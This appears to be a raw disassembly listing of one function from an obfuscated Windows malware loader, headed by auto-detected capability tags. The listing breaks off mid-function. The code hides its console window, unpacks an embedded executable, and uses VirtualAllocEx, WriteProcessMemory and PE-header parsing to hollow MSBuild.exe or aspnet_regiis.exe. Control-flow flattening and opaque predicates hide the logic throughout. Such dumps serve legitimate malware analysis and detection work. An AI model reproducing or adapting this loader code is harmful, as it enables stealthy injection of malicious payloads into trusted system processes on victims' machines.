Function at 0x10002940
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x164
mov eax, dword [0x10065200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x16c], 0x70ab51e5
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x170], eax
sub eax, 0x817cbfa1
je 0x1000495f
jmp 0x1000297c
mov eax, dword [ebp - 0x170]
sub eax, 0x81b92068
je 0x10003895
jmp 0x10002992
mov eax, dword [ebp - 0x170]
sub eax, 0x8bc5db1b
je 0x100035ac
jmp 0x100029a8
mov eax, dword [ebp - 0x170]
sub eax, 0x8c92fbd7
je 0x10004b90
jmp 0x100029be
mov eax, dword [ebp - 0x170]
sub eax, 0x8e3e227b
je 0x10004feb
jmp 0x100029d4
mov eax, dword [ebp - 0x170]
sub eax, 0x8eb3caee
je 0x10003c4e
jmp 0x100029ea
mov eax, dword [ebp - 0x170]
sub eax, 0x8f445feb
je 0x1000410f
jmp 0x10002a00
mov eax, dword [ebp - 0x170]
sub eax, 0x914aa6a4
je 0x10004584
jmp 0x10002a16
mov eax, dword [ebp - 0x170]
sub eax, 0x942fa3f9
je 0x10004ed7
jmp 0x10002a2c
mov eax, dword [ebp - 0x170]
sub eax, 0x9c83c7dc
je 0x10004130
jmp 0x10002a42
mov eax, dword [ebp - 0x170]
sub eax, 0x9de558bf
je 0x1000402e
jmp 0x10002a58
mov eax, dword [ebp - 0x170]
sub eax, 0x9f21f03c
je 0x10003c3f
jmp 0x10002a6e
mov eax, dword [ebp - 0x170]
sub eax, 0xa3f79828
je 0x10004858
jmp 0x10002a84
mov eax, dword [ebp - 0x170]
sub eax, 0xa46f38ea
je 0x100043de
jmp 0x10002a9a
mov eax, dword [ebp - 0x170]
sub eax, 0xa4fb6e51
je 0x100044b3
jmp 0x10002ab0
mov eax, dword [ebp - 0x170]
sub eax, 0xa7636b65
je 0x10004298
jmp 0x10002ac6
mov eax, dword [ebp - 0x170]
sub eax, 0xaa1a8819
je 0x10004700
jmp 0x10002adc
mov eax, dword [ebp - 0x170]
sub eax, 0xaa2ea97f
je 0x10004d6d
jmp 0x10002af2
mov eax, dword [ebp - 0x170]
sub eax, 0xab8e2534
je 0x10003ca3
jmp 0x10002b08
mov eax, dword [ebp - 0x170]
sub eax, 0xac023662
je 0x10004f34
jmp 0x10002b1e
mov eax, dword [ebp - 0x170]
sub eax, 0xacf65432
je 0x10004613
jmp 0x10002b34
mov eax, dword [ebp - 0x170]
sub eax, 0xad1e55d8
je 0x1000521e
jmp 0x10002b4a
mov eax, dword [ebp - 0x170]
sub eax, 0xaf0caff5
je 0x100050a9
jmp 0x10002b60
mov eax, dword [ebp - 0x170]
sub eax, 0xaf10ad31
je 0x100038bf
jmp 0x10002b76
mov eax, dword [ebp - 0x170]
sub eax, 0xb085440f
je 0x10005285
jmp 0x10002b8c
mov eax, dword [ebp - 0x170]
sub eax, 0xb597899f
je 0x1000407f
jmp 0x10002ba2
mov eax, dword [ebp - 0x170]
sub eax, 0xb757b378
je 0x10004248
jmp 0x10002bb8
mov eax, dword [ebp - 0x170]
sub eax, 0xb9e8157f
je 0x10004d48
jmp 0x10002bce
mov eax, dword [ebp - 0x170]
sub eax, 0xbaf07663
je 0x100048f2
jmp 0x10002be4
mov eax, dword [ebp - 0x170]
sub eax, 0xbbefd667
je 0x10004ec8
jmp 0x10002bfa
mov eax, dword [ebp - 0x170]
sub eax, 0xbe085880
je 0x10004f04
jmp 0x10002c10
mov eax, dword [ebp - 0x170]
sub eax, 0xc174335d
je 0x10004181
jmp 0x10002c26
mov eax, dword [ebp - 0x170]
sub eax, 0xc3c620d8
je 0x10004f22
jmp 0x10002c3c
mov eax, dword [ebp - 0x170]
sub eax, 0xc5426780
je 0x10003e96
jmp 0x10002c52
mov eax, dword [ebp - 0x170]
sub eax, 0xc66eb39a
je 0x10003f12
jmp 0x10002c68
mov eax, dword [ebp - 0x170]
sub eax, 0xc7ddab78
je 0x10003e18
jmp 0x10002c7e
mov eax, dword [ebp - 0x170]
sub eax, 0xc8e5f87a
je 0x100038a4
jmp 0x10002c94
mov eax, dword [ebp - 0x170]
sub eax, 0xd18ebb7a
je 0x1000369a
jmp 0x10002caa
mov eax, dword [ebp - 0x170]
sub eax, 0xd454b821
je 0x10003da8
jmp 0x10002cc0
mov eax, dword [ebp - 0x170]
sub eax, 0xd970948e
je 0x10004773
jmp 0x10002cd6
mov eax, dword [ebp - 0x170]
sub eax, 0xdad35339
je 0x10003d12
jmp 0x10002cec
mov eax, dword [ebp - 0x170]
sub eax, 0xdc9a3e92
je 0x1000358b
jmp 0x10002d02
mov eax, dword [ebp - 0x170]
sub eax, 0xddc3ee70
je 0x10005000
jmp 0x10002d18
mov eax, dword [ebp - 0x170]
sub eax, 0xddfd1d9e
je 0x100036a9
jmp 0x10002d2e
mov eax, dword [ebp - 0x170]
sub eax, 0xe01f61ed
je 0x10005204
jmp 0x10002d44
mov eax, dword [ebp - 0x170]
sub eax, 0xe20302a2
je 0x1000387a
jmp 0x10002d5a
mov eax, dword [ebp - 0x170]
sub eax, 0xe20c2a5b
je 0x100050e1
jmp 0x10002d70
mov eax, dword [ebp - 0x170]
sub eax, 0xe53a8709
je 0x10005276
jmp 0x10002d86
mov eax, dword [ebp - 0x170]
sub eax, 0xe74561d8
je 0x10004a8f
jmp 0x10002d9c
mov eax, dword [ebp - 0x170]
sub eax, 0xeab19913
je 0x10003824
jmp 0x10002db2
mov eax, dword [ebp - 0x170]
sub eax, 0xee2afa39
je 0x10004492
jmp 0x10002dc8
mov eax, dword [ebp - 0x170]
sub eax, 0xee50a3c9
je 0x100051f5
jmp 0x10002dde
mov eax, dword [ebp - 0x170]
sub eax, 0xef614616
je 0x10004a4a
jmp 0x10002df4
mov eax, dword [ebp - 0x170]
sub eax, 0xf13dc480
je 0x100043cf
jmp 0x10002e0a
mov eax, dword [ebp - 0x170]
sub eax, 0xf147ee49
je 0x100047e5
jmp 0x10002e20
mov eax, dword [ebp - 0x170]
sub eax, 0xf429cbe7
je 0x100045a5
jmp 0x10002e36
mov eax, dword [ebp - 0x170]
sub eax, 0xf57f1964
je 0x10004257
jmp 0x10002e4c
mov eax, dword [ebp - 0x170]
sub eax, 0xf5d80494
je 0x10004b68
jmp 0x10002e62
mov eax, dword [ebp - 0x170]
sub eax, 0xf7b5ee17
je 0x10004d39
jmp 0x10002e78
mov eax, dword [ebp - 0x170]
sub eax, 0xf80e3e2d
je 0x100044c2
jmp 0x10002e8e
mov eax, dword [ebp - 0x170]
sub eax, 0xfc0b4bdf
je 0x10005162
jmp 0x10002ea4
mov eax, dword [ebp - 0x170]
sub eax, 0xfcd7c20b
je 0x10004427
jmp 0x10002eba
mov eax, dword [ebp - 0x170]
sub eax, 0xfde20b5a
je 0x100035fd
jmp 0x10002ed0
mov eax, dword [ebp - 0x170]
sub eax, 0xff30a2f5
je 0x10003460
jmp 0x10002ee6
mov eax, dword [ebp - 0x170]
sub eax, 0x10c70b4
je 0x10004e71
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001090
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001090
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c200
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x124]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xf1], al
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
add edx, 0x3b38856c
sub edx, 1
sub edx, 0x3b38856c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xac023662
mov ecx, 0xdc9a3e92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov dl, byte [ebp - 0xf1]
mov eax, 0xc3c620d8
mov ecx, 0x8bc5db1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0xe1584f24
sub edx, 1
sub edx, 0xe1584f24
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5ceca840
mov ecx, 0xfde20b5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x124]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0xf0], eax
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
sub edx, 0x60beb849
sub edx, 1
add edx, 0x60beb849
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5ceca840
mov ecx, 0xd18ebb7a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov dword [ebp - 0x16c], 0xddfd1d9e
jmp 0x1000528f
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0x9826adb
sub edx, 1
sub edx, 0x9826adb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8e3e227b
mov ecx, 0x4b9a630b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov al, byte [ebp - 0xea]
and al, 1
mov byte [ebp - 0x12d], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x134], eax
mov al, byte [ebp - 0x12d]
mov byte [ebp - 0xe9], al
mov dword [ebp - 0x16c], 0x75a25120
jmp 0x1000528f
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x16c], 0x81b92068
jmp 0x1000528f
mov dword [ebp - 0x16c], 0xc8e5f87a
jmp 0x1000528f
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x16c], 0xaf10ad31
jmp 0x1000528f
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xddc3ee70
mov ecx, 0x2903c396
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov dword [ebp - 0x16c], 0x8eb3caee
jmp 0x1000528f
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax + 0x34]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xd8]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov eax, 0xd454b821
mov ecx, 0xab8e2534
cmp dword [ebp - 0x68], 0
cmove eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x16c], 0x14bdcfb3
jmp 0x1000528f
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xd4]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0xaeec656d
sub edx, 1
add edx, 0xaeec656d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe20c2a5b
mov ecx, 0x799c92c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x124]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x12c]
add eax, 4
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x16c], 0xc7ddab78
jmp 0x1000528f
mov eax, dword [ebp - 0xcc]
movzx ecx, word [eax + 0x10]
mov eax, dword [ebp - 0xd0]
add eax, ecx
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x12c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x12c]
movzx edx, word [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], 0
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov dword [ebp - 0x16c], 0xc5426780
jmp 0x1000528f
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x12c]
movzx eax, word [eax + 6]
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x16c], 0x6968dbeb
jmp 0x1000528f
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x164]
mov esi, dword [ebp - 0x114]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
add ecx, 0x118cb4a3
add ecx, edx
sub ecx, 0x118cb4a3
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x164]
mov edi, dword [ebp - 0x114]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
add edx, 0x1190323d
add edx, esi
sub edx, 0x1190323d
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x164]
mov edx, dword [ebp - 0x114]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002730
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov edx, dword [eax]
mov esi, dword [ebp - 0x164]
mov eax, dword [ebp - 0x114]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xb757b378
mov ecx, 0x506a88ad
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0xa1064cd2
sub edx, 1
add edx, 0xa1064cd2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f07d58e
mov ecx, 0xb597899f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb4]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
sub ecx, 0x95e849e0
add ecx, eax
add ecx, 0x95e849e0
mov eax, dword [ebp - 0xb8]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0xad], al
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0x69d8699
sub edx, 1
add edx, 0x69d8699
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f07d58e
mov ecx, 0x8f445feb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov dl, byte [ebp - 0xad]
mov eax, 0xb757b378
mov ecx, 0x9c83c7dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0x22dea487
sub edx, 1
add edx, 0x22dea487
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ded25f
mov ecx, 0xc174335d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x164]
mov edx, dword [ebp - 0x114]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0xac], eax
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0x87eeede8
sub edx, 1
sub edx, 0x87eeede8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ded25f
mov ecx, 0x2eef8aa5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov dword [ebp - 0x16c], 0xf57f1964
jmp 0x1000528f
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x16c], 0xc3e7ca5
jmp 0x1000528f
cmp dword [ebp - 0x158], 0
setne al
and al, 1
mov byte [ebp - 0xa1], al
mov dword [ebp - 0x16c], 0x2c790f38
jmp 0x1000528f
mov dword [ebp - 0x16c], 0xa46f38ea
jmp 0x1000528f
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x151b7876
mov ecx, 0xfcd7c20b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x12c]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x99], al
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0xa3026885
sub edx, 1
add edx, 0xa3026885
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x151b7876
mov ecx, 0xee2afa39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov dl, byte [ebp - 0x99]
mov eax, 0xb9e8157f
mov ecx, 0xa4fb6e51
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov dword [ebp - 0x16c], 0xf80e3e2d
jmp 0x1000528f
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0x36d1f1c9
sub edx, 1
add edx, 0x36d1f1c9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6f164e4b
mov ecx, 0x587734e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov edx, dword [ebp - 0x98]
mov eax, 0x1b6baeb9
mov ecx, 0xf429cbe7
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x217a39ee
mov ecx, 0xacf65432
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [ebp - 0x11c]
mov ecx, dword [eax]
sub ecx, 0xff963c19
add ecx, 8
add ecx, 0xff963c19
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0x9b914136
sub ecx, 8
sub ecx, 0x9b914136
shr ecx, 1
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x94], eax
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0xae0b723a
sub edx, 1
sub edx, 0xae0b723a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x217a39ee
mov ecx, 0x6065e1a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x8f], al
mov dword [ebp - 0x16c], 0x68b4c145
jmp 0x1000528f
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0x536767c6
sub edx, 1
add edx, 0x536767c6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2dbb6f90
mov ecx, 0x2655c718
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x8e], ax
mov dword [ebp - 0x16c], 0x12d4fbcf
jmp 0x1000528f
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov eax, dword [eax]
add ecx, 0x326f97ba
add ecx, eax
sub ecx, 0x326f97ba
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x100]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, eax
xor edx, esi
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x16c], 0xbaf07663
jmp 0x1000528f
mov edx, dword [ebp - 0x8c]
mov eax, 0x33c6588b
mov ecx, 0xc093705
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [ebp - 0x84]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x88]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x16c], 0x33c6588b
jmp 0x1000528f
mov dword [ebp - 0x16c], 0x1712f34c
jmp 0x1000528f
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe01f61ed
mov ecx, 0x26de4854
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x16c], 0x8c92fbd7
jmp 0x1000528f
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
sub edx, 0x17cae00f
sub edx, 1
add edx, 0x17cae00f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xad1e55d8
mov ecx, 0x64cb8824
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000528f
mov dword [ebp - 0x16c], 0xb9e8157f
jmp 0x1000528f
mov eax, dword [ebp - 0x138]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x16c], 0xaa2ea97f
jmp 0x1000528f
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x74]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x28]
add ecx, 0x23bc3dee
add ecx, eax
sub ecx, 0x23bc3dee
mov eax, dword [ebp - 0x128]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
